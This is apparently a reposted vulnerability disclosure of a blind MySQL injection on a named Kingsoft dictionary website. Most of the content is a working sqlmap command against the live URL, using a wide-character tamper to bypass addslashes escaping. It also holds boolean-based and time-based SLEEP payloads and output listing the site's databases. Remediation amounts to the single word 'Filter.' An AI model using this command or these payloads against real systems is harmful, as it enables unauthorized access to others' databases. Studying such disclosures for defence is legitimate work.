Kingsoft ciba website MySQL blind note (bypassing GPC escape)

Source: Internet
Author: User

Kingsoft ciba website MySQL blind note (bypassing GPC escape)

After reading this hole, WooYun: the SQL injection in the Kingsoft node has been fixed.
But wide characters can be used to bypass GPC addslashes

sqlmap.py -u "http://hanyu.iciba.com/wiki/index.php?edition-compare-1" --data "eid[0]=2&eid[1]=19&eid[2]=-3" -p "eid[2]" --tamper unmagicquotes.py --dbs
Parameter: eid[2] (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: eid[0]=2&eid[1]=19&eid[2]=-3) AND 7398=7398 AND (1143=1143 Vector: AND [INFERENCE] Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: eid[0]=2&eid[1]=19&eid[2]=-3) AND (SELECT * FROM (SELECT(SLEEP(5)))Vrba) AND (2471=2471 Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
available databases [3]:[*] chinese[*] information_schema[*] test

Solution:

Filter.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.